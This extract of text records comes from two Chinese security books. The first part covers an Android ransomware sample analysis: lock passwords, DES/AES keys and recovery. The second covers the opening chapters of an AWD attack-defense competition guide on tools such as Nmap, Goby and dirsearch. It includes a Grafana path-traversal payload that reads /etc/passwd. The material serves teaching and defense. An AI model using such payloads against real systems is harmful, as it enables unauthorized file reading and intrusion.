在5.0的系统中，或者对于银行App、社交App、支付App等，开发者应该把当前登录的Activity添加这个属性！如果没有添加的话，就加上吧，给自己的App加上一份保险！ 25.2.4 漏洞总结 下面来总结一下这个漏洞： ·漏洞产生的原因：因为Google在处理对话框提示的时候，没有做字符限制，导致一些重要的提示信息被遮挡。 ·漏洞的危险：恶意App利用这个漏洞，把自己的App名称弄得很长，而且在后台监听用户打开了一些支付App、银行App之后，就弹出这个授权对话框，但是因为名称太长了，重要的提示文案被盖住了，用户很难发现问题，授权之后就被录制了重要信息。 ·漏洞修复：Google在6.0以后进行了修复，使用字符限制功能，但是对于没有升级到6.0的用户，开发者就需要在自己的项目中给Activity添加安全属性，特别是登录页面，这样就可以防止当前页面被录制或者截屏了。 未知 25.3 本章小结 本章主要分析了两个在开发中常见的漏洞：解压漏洞和录屏授权漏洞。开发者需要在开发应用中专门针对这两个漏洞进行处理。 未知 第26章 文件加密病毒Wannacry样本分析 之前有一个Wannacry病毒样本在PC端肆意了很久，它是用RSA算法加密文件，勒索钱财，不给钱就删除内容。现在移动设备如此之多，就有一些不法分子想把这个病毒扩散到移动设备。本章就来分析一下这个病毒样本程序，并给出防范方法。"},
    {"text": "未知 26.1 病毒样本分析 这类病毒一般是用特殊的App名称吸引用户下载，例如有一个叫做“魅影WIFI”的App，下载安装之后界面如图26-1所示。 图26-1 引诱APP 点击“免费激活”，出现授权界面，如图26-2所示。 图26-2 授权界面 如果点击“锁定屏幕”，就被锁屏了，解锁屏幕的界面如图26-3所示。 图26-3 解锁屏幕 病毒作者做了一个浮窗锁机，让用户通过QQ给钱。这时我们不得不看代码来找到这个密码。这个浮窗类型的锁机其实很容易解决，主要是借助WindowManager，所以连接adb使用命令直接杀掉这个进程即可：am force-stop pkgname。可以用dumpsys命令获取其包名： 然后再强制停止App： 停止之后，发现解锁屏幕了，但密码已经被篡改了。如果设备root了，直接删除/data/system/password.key文件即可。当然需要用户本身就是个开发者，“小白”用户肯定没办法。下面就来分析App，获取两个锁机密码。 未知 26.2 获取密码 1.获取锁屏密码 因为我们知道现在大多数锁机软件都是利用设备管理器来修改设备密码的，所以想查看他的密码可直接用Jadx打开软件，然后全局搜索类DeviceAdminReceiver，如图26-4所示。 图26-4 用Jadx打开软件 看看这个类里面修改代码部分逻辑： 可以看到，这里直接将手机的锁机密码修改成9815了，这就是我们后面需要解锁的密码。 2.获取浮窗锁机密码 获取这个密码有点麻烦，因为是自定义的浮窗锁机，所以直接看到锁机界面文字，去Jadx全局搜索即可，这里全局搜索字符串“输入密码”，如图26-5所示。 图26-5 全局搜索字符串“输入密码” 进入下面这个类即可： 这里定义了一个Service，然后用WindowManager实现，再把权限设置为最高，用户就无法进行任何操作了。因为最终的密码输入都是在EditText，取密码作比较也要用到这个文本框，看这里的this.ed在哪里取值： 这里直接比对密码，如果密码正确了，就直接去掉服务，浮窗锁机就没有了。所以这里最重要的是decrypt方法，它是从SP中拿到key为passw的密文进行解密比对。其实这里我们可以借助Xposed工具直接hook这个decrypt方法，就能很轻易获取密码了： 然后直接运行就可以获取对应的密码了： 不过这里还想继续分析这个DES的加密逻辑，因为目的就是要学习的，所以我们继续手动分析这个加密算法，我们看看des变量定义： 这里会看到有一个du和du2变量，不要在意，可能是代码混淆原因，其实就是一个值。看到初始化传入一个字符串值，可能是DES加密的key值，然后立即对一个密文进行解密，之后的内容再作为新的DES的密钥值，相当于这里二次获取密钥了。看一下DU代码实现： 传入的字符串就是作为key进行加解密操作的，那么下面我们就需要手动写一个简单的DES加解密算法： 第一次初始化密钥是字符串\"flower\"，然后直接解密内容\"c29fe56fa59ab0db\"： 获取第二次要用到的密钥\"xxx\"，然后再初始化以下key： 我们需要去程序的XML中找到加密内容，再拷贝出来进行解密： 把这个串拷贝出来进行解密： 这就是解锁密码了，我们回过头看看是怎么把这个加密串存到XML中的： 这里生成密码竟然采用的是随机值，然后再加上123456，最后进行DES加密保存到XML中，同时也把随机数保存到XML中。从上面可以看到值是： 这个值加上123456就是密码了：92944926+123456=93068382，这也是上面我们解密之后的密码。如果“小白”用户加他QQ索要密码，其实他是需要让小白用户做点东西，因为这个密码是随机的，不是固定值，所以“小白”用户需要把程序的XML文件给他，不然他也不知道解锁密码。"},
    {"text": "未知 26.3 文件解密 上面的锁机还不是重点，这个病毒的重点其实是文件加密。在本章开始的图26-1中，如果点击“注册使用”，会出现如图26-6所示的勒索界面。 图26-6 勒索界面 点击“注册软件”，会等一会儿，其实这里他在做一些坏事，然后出现提示界面，如图26-7所示。 这就是Wannacry病毒界面，需要付钱才能对文件解密。而这时手机设备SD卡中的文件已经被全部加密了，如图26-8所示。 最糟糕的是，可能SD卡都打不开了，这是因为病毒制作者无限制地新建一些文件和文件夹到SD中。可以发现，每个文件都是0字节，然后文件对应一个空文件夹。 图26-7 提示界面 图26-8 文件加密界面 下面来分析病毒代码： 进入这个类看看，在onCreate方法中看到几个方法： 继续追踪： 有一个可怕的“爆炸”方法： 在这里会创造出很多空文件和空文件夹，这样你的SD卡到最后几乎打不开了，手机也就废了。 文件加密在程序启动的时候就做了，在MainActivity中： 然后跟踪这个方法： 这里会过滤他自己创建出来的空文件和空文件夹不进行加密，继续看代码： 这里通过方法的最后一个参数来判断是加密文件还是解密文件。加解密方法参数都是类似的，第一个参数是AES加解密的密钥。到这里我们大致清楚了这个病毒是用AES对文件进行加密的，而密钥又用AES加密。这时加密的key和内容是： 分析到这里，我们就可以开始手动解密文件了。当然有很多种方法： 第一种方法： 借助Xposed工具直接hook他的FormetFileSize方法，因为从上面的分析知道，这个方法的最后一个参数标志着是解密文件还是加密文件，拦截这个方法之后，修改这个参数状态为false表示是解密文件： 第二种方法： 把他的解密功能代码拷贝出来，自己写一个解密程序，这比较适合给中招的“小白”使用： 因为他的代码这几个类都比较独立，所以直接拷贝出来不会有太多的错误，而错误就是变量定义重复，自己手动改一下即可： 下面就开始运行这个程序，这里为了操作不浪费时间，把SD卡清空了，然后写入三个简单的文件，让他加密： 这时会发现，他加密之后的文件名就是原始文件名凭借一个串而已，请忽略乱码。因为只有这样，他在解密之后才能获取原始文件，从他的代码中也可以看到这点： 然后运行我们的解密程序，看到日志： 到这里，我们就成功进行解密了。 未知 26.4 病毒分析报告 这个病毒作者锁机采用了两套机制，而且浮窗锁机还用随机密码坑人。最可恨的是他竟然在SD中创建了那么多的空文件和空文件夹，让设备无法使用。最后他用的是AES算法对文件进行加解密操作。这里没有采用RSA加密的原因是RSA加密算法非常耗时且“吃内存”，手机会扛不住的。所以只好用AES了，但是对于解密来说只要知道密钥即可。这里解密用两种方式：一种是用Xposed框架进行hook，一种是自己把他的界面代码拷贝出来写一个解密程序。当然第二种是最优的，因为那些中招的“小白”用户是没有root的，也没有安装Xposed框架的，只有写一个解密程序给他安装进行解密就好了。不过有个很大的问题，就是因为病毒还创建了很多空文件和空文件夹，导致操作的时候需要区别对待。要做一次过滤，这些病毒自己生成的文件和文件夹就不要做解密了，不然会无限制死机。 从这个病毒中我们可以了解到关于锁机策略的机制，对于设备管理器的锁机直接找到DeviceAdminReceiver这个类就好了，或者直接看XML中的定义： 快速找到修改密码的地方，找到锁机密码即可。而对于浮窗锁机，因为都是采用Service和WindowManager来实现逻辑的，所以直接使用am命令强制停止程序运行即可。 未知 26.5 本章小结 面对这个病毒，即使你付费了，病毒制作者帮你解密了，也是很麻烦的，因为病毒制作者创建了那么多文件，删除操作需要时间，解密还消耗机器性能。所以遇到这种病毒千万不要给钱，可以自己解密，或者刷机。最重要的一点就是千万不要去下载来历不明的App，去正规的应用市场下载应用是最保险的。 Cover"},
    {"text": "121897_AWD特训营：技术解析、赛题实战与竞赛技巧_吴涛；张道全；王玉琪 Table of Contents 版权信息 序 前言 第1章 AWD竞赛概述 1.1 CTF竞赛简介 1.2 AWD竞赛简介 1.3 AWD竞赛内容 第2章 AWD竞赛常用工具 2.1 信息收集工具 2.2 后门木马检测工具 2.3 代码审计工具 2.4 漏洞扫描工具 2.5 流量采集工具 2.6 逆向分析工具 第3章 主机安全加固 3.1 Linux系统安全加固 3.2 Linux系统日志安全配置 3.3 Web服务安全加固 3.4 数据库安全加固 第4章 Web常见漏洞及修复 4.1 常见Web环境及组件介绍 4.2 文件写入漏洞和文件上传漏洞 4.3 文件读取漏洞和文件包含漏洞 4.4 代码执行漏洞和命令执行漏洞 4.5 反序列化漏洞 4.6 Python模板注入漏洞 第5章 PWN常见漏洞及修复 5.1 汇编语言基础 5.2 栈溢出漏洞 5.3 堆漏洞 5.4 格式化字符串漏洞 5.5 ORW漏洞 第6章 主机权限维持 6.1 一句话木马后门 6.2 系统账户后门 6.3 时间计划后门 6.4 SSH类后门 6.5 PAM后门 第7章 安全监控与应急处置 7.1 主机安全监控 7.2 主机应急处置 第8章 构建自动化攻防系统 8.1 自动化漏洞利用与木马植入 8.2 自动化flag提交 8.3 开源自动化利用工具 第9章 AWD竞赛模拟演练 9.1 场景描述 9.2 风险排查和安全加固 9.3 漏洞利用和自动化工具 9.4 安全监控和应急响应 版权信息 版 权 信 息 C O P Y R I G H T 书名：AWD特训营：技术解析、赛题实战与竞赛技巧 作者：吴涛；张道全；王玉琪 出版社：机械工业出版社 出版时间：2023年7月 ISBN：9787111733560 字数：134千字 本书由机械工业出版社有限公司授权得到APP电子版制作与发行 版权所有·侵权必究 序 序 过去9年，我一直都在做甲方安全建设。我曾有幸在19岁时代表中国电信参加由工信部指导的第三届通信网络安全知识技能竞赛，获得了AWD竞赛个人第一名、团体一等奖的好成绩。参与比赛的那段经历，对我后来的职业生涯影响颇深，令我受益匪浅。 在数字化时代，企业为了应对日益增长的攻击威胁，一般都在大量部署安全产品、安全设备，忙于查看各种安全设备、安全运营中心（SOC）、安全态势感知平台中的告警数据，期望在早期阶段就捕获到攻击者行为并实现以下4个目标：一是最大限度减少攻击者的入侵时间，尽可能让其丧失对目标的访问，或者令其攻击成功后的停留时间最短；二是最大限度降低攻击者入侵成功后的横向移动速度，限制其在网络上的横向移动；三是以最快的速度清理后门，防止其重新进入网络资产；四是尽可能提高攻击溯源速度，掌握攻击者的动机和手法。在这个攻防博弈的过程中，你需要掌握丰富的攻防技术知识，懂得各类应用、服务、系统的防护手段及攻击手法，不断地提升自己对攻击者意图的理解水平，并通过丰富的实战场景来锻炼、培养自己的能力。于是，AWD竞赛应运而生。在AWD竞赛中，每个团队都有自己的网络资产，在攻击其他团队资产的同时，也要保护好自己团队的资产不被攻击。在不同的场景环境中，攻击手法和防御手段均不同。与传统的夺旗赛（CTF）相比，AWD更具趣味性和实战性。 在本书中，作者通过其丰富的参赛经验、长期的攻防对抗技术积累，围绕常见工具、常见加固措施、常见攻击手法、常见漏洞分析等展开“手把手”教学，帮助读者了解AWD竞赛的各项内容以及攻防技术与工具的实际应用。本书是包含技术解析和技巧的真正的“实战指南”。 祝愿阅读本书的朋友都能在比赛中取得好成绩，在实际工作中发挥好作用！ 刘奇 中国电信安全攻防专业首席专家 翼支付网络与信息安全部负责人"},
    {"text": "前言 前 言 随着网络安全问题日益凸显，国家对网络安全人才的需求持续增长，其中，网络安全竞赛在国家以及企业的人才培养和选拔中扮演着至关重要的角色。 CTF是目前国际上较为流行的网络安全竞赛形式，而AWD作为CTF中最流行的一种竞赛模式，备受业界喜爱。与常规的CTF竞赛相比，AWD竞赛以考验参赛队伍的攻防兼备能力及团队协作能力为主，具有实战性、实时性、对抗性等特点。 本 书 主 要 内 容 本书将理论讲解和实践操作相结合，内容深入浅出、层层递进，全面、系统地介绍AWD竞赛相关的攻防技术知识。全书包含9章。 第1章为AWD竞赛概述，介绍了安全竞赛的起源、竞赛模式、知名赛事以及AWD竞赛规则等。 第2章为AWD竞赛常用工具，介绍了AWD竞赛中常用的安全工具，如信息收集工具、后门木马检测工具、代码审计工具、漏洞扫描工具、流量采集工具、逆向分析工具等。 第3章为主机安全加固，介绍了常见的主机加固方式，包括Linux系统安全加固、Web服务安全加固、数据库安全加固及Linux系统日志的安全配置等。 第4章为Web常见漏洞及修复，介绍了AWD竞赛过程中涉及的靶标环境、CMS常见漏洞以及AWD竞赛中常考的5类Web通用型安全漏洞。 第5章为PWN常见漏洞及修复，介绍了PWN的漏洞类型以及修复方式，包括栈溢出漏洞、格式化字符串漏洞、堆溢出漏洞、释放再利用漏洞等。 第6章为主机权限维持，介绍了一些常规的后门部署方式，包括木马后门、系统账户后门、时间计划后门、SSH类后门、PAM后门等。 第7章为安全监控与应急处置，介绍了Linux系统常规的入侵排查方式、安全监控方式和应急处置技巧，对于日常工作和安全竞赛都有所帮助。 第8章为构建自动化攻防系统，通过编写漏洞利用、木马植入、提交flag三个场景的自动化脚本来讲解Python语言的基础知识，同时也介绍了一些开源的自动化利用工具，帮助读者在比赛中快速编写自动化工具。 第9章为AWD竞赛模拟演练，通过模拟竞赛环境带领读者进行实战，包括信息搜集、挖掘漏洞、修复漏洞、检测防御、权限维持等，进一步巩固安全技术知识。 读 者 对 象 本书适用于以下读者： ●网络安全爱好者 ●网络安全从业人员 ●企业IT运维人员 ●信息安全及相关专业的大学生 勘 误 和 支 持 由于作者的水平有限，书中难免会出现一些错误或者不准确的地方，恳请读者批评指正。读者可以通过微信公众号BetaSecLab与我取得联系。期待您的反馈。 致 谢 和 声 明 感谢爸爸、妈妈、爷爷、奶奶、外公、外婆对我的悉心培养，在漫长的求学过程中，是他们的耐心教导给了我前进的方向和动力！ 感谢爱人长期的陪伴和鼓励，在写作遇到困难时，是她的鼓励给了我坚持下去的信心和力量。2023年是美好和幸运的一年，让我们共同迎接宝宝的出生。 感谢领导的悉心栽培和照顾，感谢身边同事们的支持，感谢和我一起写书的小伙伴们的坚持和帮助。 感谢Cream、3had0w、eth10、Twe1ve、Leafer、xiaoYan、久久、云顶、墨竹星海、福林表哥、梭哈王、大方子、狐狸、yudays、李白、WIN哥、闲客、Aran、大可、klion、兜哥、莫名、徐焱、王坤、清晨、DarkZero、谢公子对本书给予的支持和建议。 本书仅限于讨论网络安全技术，严禁利用本书所提到的技术进行非法攻击，否则后果自负，本人和出版商不承担任何责任！ 吴涛 2023年5月于北京 第1章 AWD竞赛概述 第 1 章 A W D 竞 赛 概 述 CTF（Capture The Flag，夺旗）竞赛是目前国际上较为流行的信息安全竞赛形式，它将典型的有缺陷的网络环境抽象成对应的技术点和应用赛题，以此来考查参赛选手们对网络安全技术的实际掌握情况。参赛队伍通过程序分析、密码破译、内存取证等形式，获取到主办方隐藏在靶标环境中的特定字符串（通常称该字符串为flag）或其他内容，并将该字符串提交到指定平台，获取相应分值。其中，AWD（Attack With Defense，攻防）竞赛作为CTF中最流行的一种竞赛模式，备受业界喜爱。 本章将介绍CTF中常见的3种竞赛模式、国内外知名赛事以及AWD相关规则等。相信读者在学习完本章之后能够对AWD有一定的了解和体会。"},
    {"text": "1.1 CTF竞赛简介 1 . 1 C T F 竞 赛 简 介 CTF最早可以追溯到1996年的第四届DEFCON全球黑客大会，以特制的靶标环境代替了以往黑客真实的网络攻击。随后，CTF作为筛选和选拔安全技术人才的有效途径而得到迅速发展，成为全球网络安全界最流行的竞赛方式，DEFCON的CTF则成了全球安全攻防水平最高的安全竞赛之一。 1 . 1 . 1 竞 赛 模 式 随着CTF竞赛规则和模式的成熟与完善，参赛形式和竞赛模式也有了很大改变。一般来说，CTF竞赛从参赛形式上可以分为CTF线上赛与CTF线下赛，CTF初赛为线上进行，CTF决赛会安排选手进行线下比拼较量；从竞赛模式上又可以分为解题模式、综合渗透模式和攻防模式。 （ 1 ） 解 题 模 式 在解题模式中，参赛队伍以解决举办方给的题目而获取相应分值，并根据每个队伍的分值进行排名，当参赛队伍获得相同分值时，最先提交flag的队伍排名靠前。CTF解题赛通常为线上选拔赛，考查的题目主要包含RE逆向、PWN漏洞挖掘、Web渗透、Crypto密码、取证、MISC隐写等。 （ 2 ） 综 合 渗 透 模 式 在综合渗透模式中，举办方通过模拟企业典型网络结构和配置，搭建一套局域网竞赛环境。参赛选手通过对网络边界进行渗透测试，找到突破口并进入内网环境，通过横向移动，获取每台主机中隐藏的flag从而获取分数。考查的题目通常包括Web渗透、漏洞利用、权限提升、权限维持等。 （ 3 ） 攻 防 模 式 在攻防模式中，参赛队伍通过挖掘靶标服务的漏洞而得分，修补自身网络服务漏洞进行防御来避免丢分，是一种更加贴近现实网络安全实战的竞赛模式。攻防模式赛制可以通过实时得分反映比赛情况，具有很强的观赏性和高度透明性。攻防模式通常为线下赛，不仅比拼参赛队员的智力和技术，同时还要求团队之间良好的分工合作。 1 . 1 . 2 知 名 赛 事 国内外知名的网络安全竞赛有很多，参加一些高质量的网络安全竞赛，不仅能够获得技术上的提升，还能获得相应丰厚的荣誉和奖励。下面列举几个知名度较高的安全赛事。 1 . 网 鼎 杯 “网鼎杯”网络安全大赛是知名的国家级高水平网络安全赛事，被称为网络安全界的“奥运会”。每年来自全国的数十类关键行业、上千家单位、上万支队伍参加安全比赛。“网鼎杯”为了比赛的公平公正，按照行业属性分成4组，分别是青龙组（高等院校、职业学校及社会团体）、白虎组（通信、交通、金融、医疗、政法及政务部门）、朱雀组（能源、电力、国防及其他行业单位）、玄武组（科研机构、科技企业、网安企业及互联网企业），采用多种赛制结合的方式，包含CTF解题赛和AWD竞赛，综合考查参赛选手的网络安全技能。 2 . 强 网 杯 “强网杯”网络安全大赛是国内另一个非常著名的国家级网络安全赛事。参加安全竞赛的行业覆盖了国家关键信息基础设施单位、重要行业部门、高等院校、科研机构、网络安全企业、互联网企业及社会力量等行业领域。“强网杯”采用多种赛制相结合的方式，包含CTF解题赛和AWD竞赛等模式。作为国家级高水准、高质量的网络安全竞赛平台，“强网杯”致力于为网络安全从业人员、技术爱好者、院校学生、青少年等群体打造技术实践与展示自我的平台，从国家最顶尖的安全力量到冉冉兴起的国家未来网安之星，全面助力人才培养和技术创新，为网络强国建设和数字中国建设提供有力支撑。 3 . D E F C O N C T F DEFCON世界黑客大会是网络攻防技术竞赛的发源地，每年有超过7000名黑客和安全专家参加。DEFCON CTF作为DEFCON大会衍生出来的全球最有影响力的网络安全赛事之一，被誉为网络安全领域的“世界杯”，每年都会吸引全球大量的顶端技术人才参赛。DEFCON CTF分为线上的预选赛和线下的决赛，线上预赛采用CTF解题模式，而现场决赛采用AWD模式，通常在每年的8月份于美国拉斯维加斯举行。 4 . 全 国 大 学 生 信 息 安 全 竞 赛 全国大学生信息安全竞赛是国家A类赛事，是信息安全领域最具影响力的大学生赛事，自2008年起，每年举行一届，每届历时4个月，至今已成功举办14届，均由国内网络安全领域知名高校承办，全国在校全日制本、专科大学生均可参加。每届大赛都有来自全国上百所高校、上千支队伍参加。全国大学生信息安全竞赛分初赛和决赛，参赛内容以信息安全技术与应用设计为主。很多学校还为在竞赛中获奖的同学提供了丰厚的物质奖励和保研资格。"},
    {"text": "1.2 AWD竞赛简介 1 . 2 A W D 竞 赛 简 介 AWD是近年来国内外较为流行的一种网络安全竞赛模式，由行业专家凭借个人经验，将真实的网络安全防护设备设施加入到抽象的网络环境中，模拟企业单位典型网络结构和配置来开展的一种网络安全对抗的比赛方式。与常规的CTF竞赛相比，AWD竞赛以考验参赛队伍的攻防兼备能力及团队协作能力为主，具有实战性、实时性、对抗性等特点。 在AWD竞赛中，参赛队伍一般由3～5名成员组成。参赛队伍既是攻击方又是防守方，分别防守具有相同配置的虚拟靶机服务器。靶机服务器主要包括Web靶机和PWN靶机两种类型。图1-1为AWD竞赛环境的网络拓扑结构。每个团队都需要维护若干台具有安全漏洞的服务器和服务器中潜藏的后门，各参赛队伍在有限的博弈时间内，找到其他战队的靶机漏洞并获取flag而得分，同时也要修复服务器漏洞，防止被其他队伍攻击而被扣分。在这种赛制中，不仅考查参赛队伍的攻击和防御能力，还考查团队之间的协作能力。良好的团队协作能力和合理的成员分工，能够让队员在紧张的参赛过程中有条不紊地应对各种难题，减少竞赛过程中不必要的失误。 AWD竞赛采用零和积分的方式，即每个参赛队伍都拥有相同的起始分数，通过成功攻击其他队伍维护的虚拟靶机来获取相应的flag，从而拿到分数，被攻击队伍的分数则会被相应扣除。在每台虚拟靶机中的flag会按周期进行刷新，攻击者可以提交新的flag获取分数，但不可重复提交相同的flag。计分规则一般分为防御分和攻击分的加权，参赛队伍以最后得分由高到低进行排名，当参赛队伍分数相同时，防御队伍分值高的排名在前。 在AWD竞赛中，一般需要一名队员作为攻击方对其他队伍维护的靶标服务器进行网络探测、漏洞挖掘、后门排查、权限维持、自动化攻击、自动化提交等操作。另外两名队员中，要有一名代码编写能力比较强，能够在短时间内构造出能批量提交、自动化攻击的脚本程序，避免浪费人力在提交flag上。另一名队员则充当防护者的角色进行漏洞修复、后门排查、文件监控、弱口令排查等。 图1-1 AWD竞赛环境的网络拓扑结构 1.3 AWD竞赛内容 1 . 3 A W D 竞 赛 内 容 AWD模式是一种综合考核参赛队伍发现攻击、有效防护的技术能力和即时策略的比赛模式。AWD竞赛虽然不像CTF解题赛那样，考查参赛选手灵活的思维方式和宽泛的知识储备，但是它更加贴近实训演练，具有实操性、对抗性等特点，能够对参赛选手的渗透能力和防护能力进行综合考量，以考查参赛选手对安全加固、渗透攻击、应急响应3个方向知识的掌握程度。 （ 1 ） 安 全 加 固 在AWD竞赛开始时，参赛队伍中的防御选手需要对所需维护系统中存在的安全问题进行迅速定位并进行修复加固，以避免被其他队伍攻击。该部分主要考查参赛选手对目标系统存在的安全问题进行快速定位并快速修复漏洞的能力，主要包括系统配置安全、We b服务安全以及数据库安全等。 ●系统配置安全包括SSH、FTP、EDP等弱口令、内核溢出漏洞以及权限提升等。 ●Web服务安全包括SQL注入、文件上传、反序列化、木马后门、中间件安全等。 ●数据库安全包括Redis、MySQL等数据库的弱口令、木马植入、权限提升等。 （ 2 ） 渗 透 攻 击 在AWD竞赛开始时，参赛队伍中的攻击选手可以对其他队伍的目标靶机发起攻击。同时，也可参考本队靶机存在的安全问题，尝试对其他队伍靶机发起攻击。该部分主要考查参赛选手对目标系统进行攻击的能力，利用黑盒渗透测试发现目标系统存在的漏洞并加以利用，从而获取相应分数，主要包括信息搜集、We b安全测试、弱口令猜解、权限提升等。 ●信息搜集包括存活主机探测、开放端口探测、We b服务指纹探测等。 ●Web安全测试包括SQL注入、文件上传、反序列化、木马后门、中间件安全等。 ●弱口令猜解包括SSH弱口令、FTP弱口令、Web系统弱口令、数据库弱口令等。 ●权限提升包括系统漏洞提权、SUID提权、数据库提权、系统不安全配置提权等。 （ 3 ） 应 急 响 应 在AWD攻防竞赛开始时，参赛队伍的防御选手需要对其他队伍的攻击行为做好积极防御任务。该块内容主要考察参赛选手对目标系统的应急响应能力，主要包括后门排查、日志审计以及监控工具告警等。 ●后门排查包括不死马、内存木马等变种木马排查，crontab定时任务后门排查等。 ●日志审计包括Web攻击行为审计、远程主机访问行为审计、弱口令爆破行为审计等。 ●监控工具告警包括监控系统文件被恶意篡改、删除、增加的行为，监控We b服务的攻击行为等。 第2章 AWD竞赛常用工具 第 2 章 A W D 竞 赛 常 用 工 具 知己知彼，百战不殆。经过上一章对AWD竞赛相关内容的介绍，我们对AWD竞赛的流程、规则等方面有了初步了解，本章将对AWD竞赛中常用的安全工具进行总结，如信息收集工具、木马后门检测工具、代码审计工具、漏洞扫描工具等，并对每款工具的功能和使用方法进行详细的介绍。参赛选手可将工具提前安装部署。熟练使用工具能够使选手在竞赛过程中节省更多宝贵时间，为取得好成绩提供保障。"},
    {"text": "2.1 信息收集工具 2 . 1 信 息 收 集 工 具 在AWD竞赛中，通常不会告知参赛选手目标靶机的IP地址、开放端口及服务类型，此时就需要攻击选手通过信息搜集的方式寻找突破口，其中包括主机发现、端口识别、服务识别、敏感目录探测等。"},
    {"text": "2 . 1 . 1 N m a p Nmap（Network Mapper）是一款开源的网络探测工具，通过在网络中发送特定数据包进行有效探测，识别、分析返回的信息，确定网络中目标主机的存活状态、端口信息、运行服务类型及版本等。"},
    {"text": "4）unfiltered：表示不能确定目标主机的端口状态，与filtered的区别在于，unfiltered的端口是能够被Nmap访问的，但是Nmap根据返回的报文无法确定端口的开放状态。 5）open|filtered：表示无法识别目标主机端口是处于open状态还是filtered状态。 该状态只会出现在开放端口对报文不做回应的扫描类型（如UDP、FIN等）中。 6）closed|filtered：表示无法识别目标主机端口是处于closed状态还是filtered状态。"},
    {"text": "表2-1 Nmap工具的常见功能参数 在AWD竞赛中，通常所有的主机处于同一局域网环境中，毫无疑问利用ARP协议进行主机存活探测是一个最好的选择，此处可以利用-PR参数，代码示例如下，执行结果如图2-1所示。 Nmap探测完存活主机IP地址后，下一步就需要了解目标主机开放了哪些端口以及在这些端口运行了什么服务，此时就用到了Nmap端口探测的功能，使用参数的说明详见表2-1，为了能够加快扫描速度，可以调整扫描组和探测报文的并行数量，提高信息搜集效率，代码如下，执行结果如图2-2所示。 ▲图2-1 Nmap主机存活探测 图2-2 Nmap端口开放探测 Nmap除了上述提到的主机存活探测、端口开放探测以及服务类型识别功能，还具备一些扩展功能，如弱口令暴力破解、高危漏洞的扫描、拒绝服务攻击、模糊测试等。 使用Nmap扩展功能时，需要调用--script参数，根据需求添加对应的脚本名称，图2-3所示为使用Nmap对目标地址进行漏洞扫描。 Nmap官网对每个扩展脚本都做了详细的说明，读者也可以通过nmap/scripts目录查看每个扩展脚本的具体内容。"},
    {"text": "图2-3 Nmap对目标地址进行漏洞扫描 2 . 1 . 2 G o b y Goby是基于网络空间映射的下一代网络安全工具，能够快速对目标资产进行端口识别、应用服务指纹识别、漏洞探测，同时支持多种扩展插件。"},
    {"text": "首先，单击Goby控制面板右上方的加号，增加一条扫描任务，然后在各个字段中填入相关信息，单击start按钮即可开始执行扫描任务。 图2-4为在Goby控制面板中新建了一条扫描任务，图中各字段的说明如下。"},
    {"text": "Goby除了拥有自带的POC库之外，还支持用户自定义POC的扩展编写，这里以Grafana任意文件读取漏洞（CVE-2021-43798）为例介绍Goby自定义POC的编写过程。"},
    {"text": "Grafana的8.0.0～8.3.0版本存在未授权任意文件读取漏洞，攻击者在未经身份验证的情况下可通过该漏洞读取主机上的任意文件，例如读取Linux虚拟机中的passwd文件。"},
    {"text": "●Product：产品名称（选填），填写相应的产品名称和对应的版本号。 ●Product URL：产品地址（选填），该产品的官方网站或者软件的下载地址等。"},
    {"text": "●Has EXP：是否开启EXP功能，开启后，可在页面根据需求更改变量值执行相关指令。 ●EXP Params：EXP参数，设置好的参数可在Exploit Test模块中进行调用。 图2-7 Goby Exploit功能界面 勾选开启Has EXP功能后，相当于开启了EXP利用功能，使用者可以在验证页面的输入框中更改变量的值，更改请求数据包的内容，比如在页面输入框中修改需要执行的系统命令等。"},
    {"text": "图2-8 Goby POC验证界面 图2-9所示为Goby POC匹配的响应部分，如果能命中正则表达式，则表示成功匹配，目标系统存在该漏洞，否则表示目标系统不存在该漏洞，需要填写的相关参数解释如下。"},
    {"text": "单击Exploit Test进入EXP的设置页面，该界面的填写与Scan Test页面类似，为了能够在Verify漏洞验证页面修改变量的值，进而更改Request内容，可以在GET请求的URL部分、POST请求的Data部分或者请求的头部，通过“{{{}}}”的方式引入之前设定好的变量名。"},
    {"text": "例如在Grafana任意文件读取漏洞的EXP编写过程中，可以将读取的文件路径作为变量，将“/public/plugins/alertlist/../../../../../../../../../../../../../etc/passwd”部分修改成“/public/plugins/alertlist/../../../../../../../../../../../../../{{{dir}}}”，如图2-10所示。"},
    {"text": "▲图2-9 Goby POC响应部分 图2-10 Goby Exploit Test设置页面 单击Save按钮后，就可以将编写好的脚本更新到POC管理了，之后如果匹配到Grafana服务，会调用该POC进行漏洞探测，如果存在漏洞，可以单击Verify按钮进行漏洞确认，如图2-11所示，利用Grafana未授权任意文件读取漏洞获取flag。"},
    {"text": "图2-11 利用Grafana漏洞读取flag字符串 2 . 1 . 3 d i r s e a r c h 敏感路径扫描是信息收集中最常用的方法之一，通过扫描工具对目标网站的访问路径进行模糊探测，发现目标网站泄露的管理后台路径、数据库文件、配置文件、源码泄露、备份文件等。"},
    {"text": "常见的网站路径扫描工具有很多，包括dirsearch、御剑目录扫描、DirBuster、7kbscan等。 每种网站路径扫描工具的实现原理基本相同，本节以dirsearch扫描工具为例进行介绍。"},
    {"text": "dirsearch是一款基于Python代码编写的目录扫描工具，具有自定义请求方式、默认字典、随机User-Agent、递归目录、多线程、时间延迟等功能，使用者可以根据需求调用相关参数。 图2-12所示为使用dirsearch工具扫描目标网站访问路径，代码如下，其中：-u表示扫描网站的URL地址；"},
    {"text": "2.2 后门木马检测工具 2 . 2 后 门 木 马 检 测 工 具 对于防守方，每个团队需要维护不只一个We b系统，竞赛开始后防守选手会对维护的目标网站进行源码分析，寻找网站中是否潜藏后门木马。此时，为了节省竞赛中的宝贵时间，协助选手快速定位后门代码位置，通常都会使用后门木马排查工具，如D盾、CloudWalker、WEBDIR+、WebShellKiller等。本节将介绍两款免费的、轻型的、可本地安装的后门木马查杀工具：D盾和河马WebShell查杀。 2 . 2 . 1 D 盾 D盾是一个较常见的主动防御保护软件，以内外保护的方式防止网站和服务器被入侵。其主要功能包含一句话木马查杀、主动后门木马拦截、Session保护、防CC攻击、页面防篡改攻击、常规Web攻击、权限提升及未知0day防御功能等。在AWD竞赛过程中，可以使用D盾帮助选手快速定位查找后门文件。图2-13所示为通过D盾扫描WebShell后门文件。 图2-13 D盾扫描WebShell后门文件 2 . 2 . 2 河 马 W e b S h e l l 查 杀 河马WebShell查杀工具具备海量的WebShell特征样本和自主查杀技术，查杀速度快、精度高、误报低。在AWD竞赛过程中，参赛选手可以使用河马WebShell查杀工具定位查找后门文件。图2-14为通过河马WebShell查杀工具扫描后门文件。 图2-14 河马WebShell查杀工具扫描后门文件 2.3 代码审计工具 2 . 3 代 码 审 计 工 具 